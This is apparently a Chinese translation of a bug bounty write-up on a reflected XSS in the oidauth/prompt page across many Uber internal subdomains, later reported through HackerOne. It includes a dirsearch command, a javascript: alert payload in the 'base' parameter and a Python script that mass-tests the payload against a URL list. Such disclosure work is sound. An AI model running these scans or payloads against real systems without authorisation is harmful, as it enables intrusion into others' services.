前言
你好,我们又见面了,这是我的第一篇bug bounty文章,我一般不会单纯为了赏金去查找bug,特别是web bug bounties,但最近我对它非常感兴趣,所以我决定去查找UBER中的bug。
声明
在开始之前,如果您还不熟悉这个主题,我强烈建议您阅读有关SAML认证的文章,否则,您将很难理解这个bug。
你可以在这里阅读关于SAML的内容(https://developers.onelogin.com/saml)
信息收集
我开始收集相关资料,并且我注意到他们的内部系统都在此范围内(uberinternal.com的子域名),所以我开始执行子域名枚举,为此,我使用了aquatone
,它发现了许多域名,并且收集了一些域名的截图。
需要注意的一点是,大多数内部域名都重定向到uber.onelogin.com
进行身份验证。
众所周知,onelogin
使用SAML身份验证,这非常有趣,因为在执行SAML的大量的应用程序中都发现了身份验证bypass,包括影响uber本身的一些bug,您可以在这里找到这些错误(https://hackerone.com/reports/223014以及https://hackerone.com/reports/136169) 。
我的第一个目标是寻找SAML身份验证bypass,我打算从uchat
系统开始,但遗憾的是,有人已经找到了这个bug,这也不是我第一次因为时机不好而丢失了一个bug,所以没关系,让我们继续吧。
当您通过SAML登录时,将会向身份验证服务发送一个请求,在我们的案例中,这就是uber.onelogin.com
,在登录之后,uber.onelogin.com
将返回一个响应,以便成功登录应用程序,在这种情况下,我希望在whatever.uberinternal.com
找到的是一个收到来自onelogin的相应的页面。
因此,让我们看一下调用一个需要身份验证的页面时发生的重定向,您可以在下图中看到它向uber.onelogin.com传递了经过base64编码的参数SAMLRequest
。
有一个在线工具可以让我们解码参数的值,并且我们可以看到这个链接将从uber.onelogin.com
中接收响应。
此外,如果您想尝试使用burpsuite,还有一个很好用的SAML插件,它有一些非常好的功能来测试SAML。
这个插件很好,但是,我想批量地做到这一点,所以我创建了一个工具,可以获取URL列表和它们返回的SAML,你可以在我的GitHub帐户SAMLExtractor中找到这个工具。
接下来的事情是尝试bypass该链接上的SAML身份验证,但我没那么幸运,所以我决定查看oidauth/
目录,看看是否有更多有趣的文件,我使用了执行以下命令的dirsearch
。
./dirsearch.py -u https://carbon-prototype.uberinternal.com:443/oidauth/ -ejson
漏洞
进行目录爆破之后,我找到了以下页面:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
这是一个注销页面,但很多开发人员在注销页面中执行重定向,并且,有时你可以在那里找到XSS
漏洞,所以我打开了上面的链接,它将我重定向到了下一页。
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
参数base
是一个URL,所以我们不如用经典的javascript:alert(123);
替换它,从而查看它是否可以触发XSS。最终它通过单击页面中的链接触发了XSS,并且因为该页面也容易受到点击劫持的影响,这意味着你可以在攻击场景中将两者结合起来(报告中对此进行了详细说明)。
批量漏洞挖掘
请记住,当我告诉您我创建了一个可以获取URL列表,然后返回回调URL的工具时,我决定向该工具提供所有uberinternal.com
子域名,以查看是否有其他域名使用相同的库。最终我发现确实有其他域名使用。
我接下来要做的是创建一个脚本,它可以调用易受攻击的页面oidauth/prompt
,并且尝试XSS攻击,如果我的输入被响应,则证明它存在XSS漏洞。
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
之后,我验证了易受攻击的页面,并将第一份报告发送给UBER,在第一次提交之后,我发现了另外两个易受攻击的子域名,我在另一份报告中提交了这些子域名。
报告链接:
Reflected XSS on multiple uberinternal.com domains(https://hackerone.com/reports/326449)
Reflected XSS in https://eng.uberinternal.com and https://coeshift.corp.uber.internal/(https://hackerone.com/reports/354686)
赏金:
第一份报告 2k$
第二份报告 500$
原文链接:https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/